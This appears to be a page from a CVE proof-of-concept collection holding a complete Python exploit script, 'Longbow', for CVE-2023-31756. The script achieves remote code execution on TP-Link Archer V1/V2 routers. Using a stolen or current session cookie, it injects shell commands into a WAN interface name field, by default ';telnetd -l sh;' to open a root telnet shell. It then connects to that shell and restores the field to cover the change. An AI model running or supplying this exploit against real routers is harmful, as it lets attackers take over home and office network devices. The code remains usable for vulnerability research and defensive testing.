4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-31756-Longbow.py PY
import argparse
import requests
import re
import sys
import os
import time

#Print Header
print("   __                  ___             ") 
print("  / /  ___  ___  ___ _/ _ )___ _    __")
print(" / /__/ _ \/ _ \/ _ `/ _  / _ \ |/|/ /    >>>>>>>_____________________\`-._")
print("/____/\___/_//_/\_, /____/\___/__,__/     >>>>>>>                     /.-'")
print("               /___/                  ")
print("CVE-2023-31756 Proof of Concept - Remote Code Execution for Archer V1/V2 Routers\n")

#Required arguments
parser = argparse.ArgumentParser()
parser.add_argument("--ip",type=str,help="The IP Address of the target to attack Example: 192.168.1.1", required=True)
parser.add_argument("--session",type=str,help="The value from the JSESSIONID Cookie of an authenticated request Example: ad27cb4adce1cad35a29e035b1f79c",required=True)
parser.add_argument("--proxy",type=str,help="The proxy address you want to use. Example: 127.0.0.1:8080 ",required=False)
parser.add_argument("--command",type=str,help="The command you want to run. < 13 chars. Example: uname -a (default telnet shell)",required=False)
args = parser.parse_args()

#Session Info
target = "http://"+args.ip
cookies = {'JSESSIONID':args.session}
global headers
headers = {'Referer':"http://192.168.1.1/"}
command = ";telnetd -l sh;"

if args.proxy:
    proxies = {
        'http': 'http://'+args.proxy,
        'https': 'http://'+args.proxy
    }
else:
    proxies = {}
    
if args.command:
    print("[*] Checking command length...")
    if len(args.command) > 13:
        print("\t[!] Command to be injected must be less than 13 characters! Current length: "+str(len(args.command)))
        sys.exit()
    else:
        command = ";"+args.command+";"

wanInterface = "[WAN_IP_CONN#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n"
createWanObj = "[WAN_CONN_DEVICE#0,0,0,0,0,0#1,0,0,0,0,0]0,0\r\n"
createWan = "[WAN_PTM_LINK_CFG#1,1,0,0,0,0#0,0,0,0,0,0]0,4\r\nenable=1\r\nX_TP_Used=1\r\nX_TP_VlanEnabled=0\r\nX_TP_VID=0\r\n[WAN_IP_CONN#0,0,0,0,0,0#1,1,0,0,0,0]1,15\r\nMACAddressOverride=0\r\nNATEnabled=1\r\nX_TP_FullconeNATEnabled=0\r\nX_TP_IGMPProxyEnabled=1\r\nMaxMTUSize=1500\r\nDNSOverrideAllowed=0\r\nX_TP_Hostname=Archer_VR1600v\r\nX_TP_Unicast=0\r\nenable=1\r\nconnectionType=IP_Routed\r\naddressingType=DHCP\r\nX_TP_IPv4Enabled=1\r\nX_TP_IPv6Enabled=0\r\nX_TP_IPv6DNSOverrideAllowed=0\r\nX_TP_IPv6AddressingType=DHCPv6\r\n"

print("[*] Checking session information...")
url = target+"/"
resp = requests.get(url,cookies=cookies,headers=headers,proxies=proxies)

#Check Session
def checkSession():
    if resp.status_code == 200 and "var token=" in resp.text:
        print("\t[*] Session information appears valid!")
        print("\t[*] Extracting token..")
        for line in resp.text.splitlines():
            if "var token=" in line:
                token = line.split("=")[2][1:-22]
                print("\t[*] Token: "+token)
        global headers
        headers = {'TokenID':token,'Referer':"http://192.168.1.1/"}
        return True
    else:
        print("\t[!] Session information is not valid. Be sure to paste current JSESSIONID cookie value")
        sys.exit()

#Clear Busy CGI Request
def clearBusy():    
    print("[*] Calling 'ClearBusy' script...")
    url = target+"/cgi?8"
    clearBusy = "[/cgi/clearBusy#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n"
    resp = requests.post(url,cookies=cookies,headers=headers,data=clearBusy,proxies=proxies)
    if resp.status_code == 200:
        print("\t[*] ClearBusy successful")
    else:
        print("\t[i] ClearBusy script didn't appear successful, trying anyway...")

#Create new PTM interface
def createPTM():
    #In case there are literally no interfaces...
    url = target+"/cgi?3"
    resp = requests.post(url,cookies=cookies,headers=headers,data=createWanObj,proxies=proxies)
    
    url = target+"/cgi?2&3"
    resp = requests.post(url,cookies=cookies,headers=headers,data=createWan,proxies=proxies)
    if resp.status_code == 200 and "enable" in resp.text:
        print("\t\t[*] Successfully created interface")
        return True
    else:
        print("\t\t[!] Interface could not be created")
        return False

#Read WAN Interface Objects  
def readWANObjects():  
    print("[*] Reading configured WAN connection objects...")
    url = target+"/cgi?5"
    resp = requests.post(url,cookies=cookies,headers=headers,data=wanInterface,proxies=proxies)
    if resp.status_code == 200 and "enable" in resp.text:
        print("\t[*] Retrieved WAN Interface Objects")
    else:
        print("\t[!] Failed to retrieve WAN interfaces - are you targeting the correct model?")
        sys.exit()
    wanObjArray = list()
    #print(resp.text)
    for line in resp.text.splitlines():
        #print("LINE: "+line)
        match = re.search(r"\[(\d+(,\d+)*)\]", line)
        if match:
            wanObjArray.append(line)
    print("\t[*] Number of WAN Objects configured: "+str(len(wanObjArray)))
    print("\t[*] Searching for 'ptm' interface...")
    interFaceNameArray = list()
    for line in resp.text.splitlines():
        if "X_TP_IfName" in line:
            interFaceNameArray.append(line)
    for i, item in enumerate(interFaceNameArray):
        if "ptm0" in item:
            matchIndex = i
            print("[*] ptm Interface found!")
            injectableObject = wanObjArray[i]
            return injectableObject    
    print("\t[*] ptm Interface not found. Creating ptm interface...")
    return False

def commandInjection(injObject):           
    print("[*] Perfoming command injection...")
    url = target+"/cgi?2"
    #retrieve object number from braces
    injObject = injObject[1:-2]
    commandInjectionObject = "[WAN_IP_CONN#"+injObject+"#0,0,0,0,0,0]0,2"+"\r\nX_TP_IfName="+command+"\r\nenable=1\r\n"
    restoreObject = "[WAN_IP_CONN#"+injObject+"#0,0,0,0,0,0]0,1"+"""\r\nX_TP_IfName="ptm0.0"\r\n"""
    resp = requests.post(url,cookies=cookies,headers=headers,data=commandInjectionObject,proxies=proxies)
    if resp.status_code == 200 and "[error]0" in resp.text:
        print("\t[*] Command injection appears successful.")
        print("\t[*] Restoring interface name...")
        resp = requests.post(url,cookies=cookies,headers=headers,data=restoreObject,proxies=proxies)
        if resp.status_code == 200 and "[error]0" in resp.text:
            print("\t[*] Object restored successfully")
        else:
            print("\t[i] Warning: Did not restore interface name - you can run the command again, but this will create a new interface. You can have a max of 7")
        
        if ";telnetd -l sh;" in command:
            print("\t[*] Launching admin shell in 10 seconds. If it doesn't appear, open a new CMD and type 'telnet 192.168.1.1'")
            time.sleep(10)
            osCMD = "telnet 192.168.1.1"
            os.system(osCMD)
        else:
            print("\t[*] Access to serial console required to see output")
    else:
        print("\t[!] Command injection failed")
        
def main():
    #Main function
    validSess = checkSession()
    time.sleep(2)
    if validSess:
        #Keep going
        clearBusy()
        time.sleep(2)
        injectableObject = readWANObjects()
        if injectableObject:
            #Interface found - begin command injection
            commandInjection(injectableObject)
        else:
            #Interface not found, create it!
            success = createPTM()
            if success:
                #WAN interface created, recheck WAN objects
                injectableObject = readWANObjects()
                if injectableObject:
                    #interface found - begin command injection
                    commandInjection(injectableObject)
                else:
                    sys.exit()
            else:
                print("[!] Could not locate ptm Interface even after successful creation. Perhaps there are too many WAN Interfaces (Max. 7) - try deleting some")
                sys.exit()
    else:
        sys.exit()
    
if __name__ == "__main__":
    main()